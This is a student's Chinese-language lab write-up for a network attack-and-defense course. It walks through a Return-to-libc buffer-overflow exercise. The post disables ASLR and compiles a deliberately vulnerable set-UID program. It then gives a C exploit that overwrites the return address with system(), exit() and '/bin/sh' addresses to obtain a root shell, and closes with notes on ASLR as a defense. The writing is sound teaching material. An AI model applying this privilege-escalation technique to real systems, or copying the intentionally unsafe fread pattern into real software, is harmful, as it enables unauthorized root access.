• 2017-2018-2 20179203《网络攻防实践》第十周作业


    Return-to-libc 攻击实验

    一、实验描述

    缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

    二、实验准备

    1、输入命令安装一些用于编译 32 位 C 程序的东西:

    通过以下代码实现这一功能。

    sudo apt-get update
    
    sudo apt-get install lib32z1 libc6-dev-i386
    
    sudo apt-get install lib32readline-gplv2-dev
    
    

    2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:

    三、实验步骤

    1、初始设置

    Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

    sudo sysctl -w kernel.randomize_va_space=0
    

    2、漏洞程序

    把以下代码保存为“retlib.c”文件,保存到 /tmp 目录下。代码如下:

    /* retlib.c */
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    include <stdlib.h>
    include <stdio.h>
    include <string.h>
    int bof(FILE *badfile)
    {
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
    }
    int main(int argc, char **argv)
    {
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly
    ");
    fclose(badfile);
    return 1;
    }
    

    编译该程序,并设置 SET-UID。命令如下:

    sudo su
    
    gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
    
    chmod u+s retlib
    
    exit
    

    上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

    我们还需要用到一个读取环境变量的程序:

    /* getenvaddr.c */
    include <stdio.h>
    include <stdlib.h>
    include <string.h>
    
    int main(int argc, char const *argv[])
    {
     char *ptr;
    
     if(argc < 3){
        printf("Usage: %s <environment var> <target program name>
    ", argv[0]);
        exit(0);
        }
     ptr = getenv(argv[1]);
     ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
     printf("%s will be at %p
    ", argv[1], ptr);
     return 0;
    }
    

    编译一下:

    gcc -m32 -o getenvaddr getenvaddr.c
    

    3、攻击程序

    把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

    /* exploit.c */
    include <stdlib.h>
    include <stdio.h>
    include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
    
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
    
     *(long *) &buf[32] =0x11111111; // "//bin//sh"
     *(long *) &buf[24] =0x22222222; // system()
     *(long *) &buf[36] =0x33333333; // exit()
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }
    

    代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。

    4、获取内存地址

    1)用刚才的 getenvaddr 程序获得 BIN_SH 地址:

    2)gdb 获得 system 和 exit 地址:


    修改 exploit.c 文件,填上刚才找到的内存地址:

    删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:

    rm exploit
    rm badfile
    gcc -m32 -o exploit exploit.c
    

    5)攻击
    先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

    四、实验总结

    实验最终的结果是成功的控制了root权限,虽然这样的结果和缓冲区溢出攻击达到相同的结果,但是采取的手段完全不同。Return-to-libc攻击,通过已经现存的代码实现攻击。这种攻击在我看来是一种更加隐秘的成功率高的攻击手段。毕竟这样的攻击并不依赖于程序中的漏洞,其漏洞是通过自己生成的代码生成的,因此防范起来更加困难。目前对于 return-into-libc 和返回导向编程攻击,地址空间布局随机化(Address Space Layout Randomization,ASLR)机制是最为有效的防御机制之一。ASLR 可以实现对进程的堆、 栈、代码和共享库等的地址在程序每次运行的时候的随机化, 大大增加了定位到需要利用的代码的正确位置的难度,因此也就大大增加了 return-into-libc 和返回导向编程攻击的难度以及对攻击的防御能力。由于程序运行时的地址被随机化,在攻击时攻击者无法直接定位到所需利用的随机化后的内存地址,而只能依赖于对这些数据、代码运行时的实际地址的猜测。因此攻击者猜对的可能性比较低,很难成功发起攻击。同时,也容易导致程序运行时崩溃,因而减小了检测到攻击的难度。

  • 相关阅读:
    iOS 面试题搜集
    iOS 常用第三方类库、完整APP示例
    iOS 键盘遮挡输入 解决办法
    iOS UIColor RGB HEX
    iOS APP性能优化
    iOS Swift 数组 交换元素的两种方法
    iOS CoreData primitive accessor
    iOS Start developing ios apps (OC) pdf
    iOS 传值方式
    iOS IB_DESIGNABLE IBInspectable @IBDesignable @IBInspectable 加速UI开发
  • 原文地址:https://www.cnblogs.com/20179203li/p/9033284.html
Copyright © 2020-2023  润新知